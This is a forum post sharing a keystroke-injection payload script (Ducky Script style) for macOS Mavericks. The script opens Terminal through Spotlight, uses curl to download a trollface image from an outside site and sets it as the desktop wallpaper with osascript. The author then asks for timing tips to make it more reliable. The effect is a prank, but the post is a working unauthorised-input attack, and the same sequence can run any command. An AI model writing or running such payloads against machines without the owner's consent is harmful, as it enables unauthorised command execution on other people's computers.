Jump to content

Recommended Posts

Posted (edited)
This is my first payload - it works with Mavericks and doesn't require any password input. It downloads a 1920x1080 trollface picture and sets it as the desktop background.
If you want a different picture just change the url. And if you want the new picture to have a relevant filename, make sure you change it on both the "curl" and "osascript" lines
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 2000
ENTER
DELAY 1000
STRING cd ../Shared
ENTER
STRING curl -o 'trollface.jpg' 'http://khongthe.com/wallpapers/entertainment/trollface-1080p-32389.jpg'
ENTER
STRING osascript -e 'tell application "Finder" to set desktop picture to POSIX file "/Users/Shared/trollface.jpg"'
ENTER

edit: After trying different combinations of delays, I found the above to have the most consistent success out of the several I tried (still not applaudable though). The whole comand-space, search, launch process on OS X seems to be a bit fickle. Does anyone have any tips to shave time off and/or have it be more consistently successful?

Edited by waterpistol

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...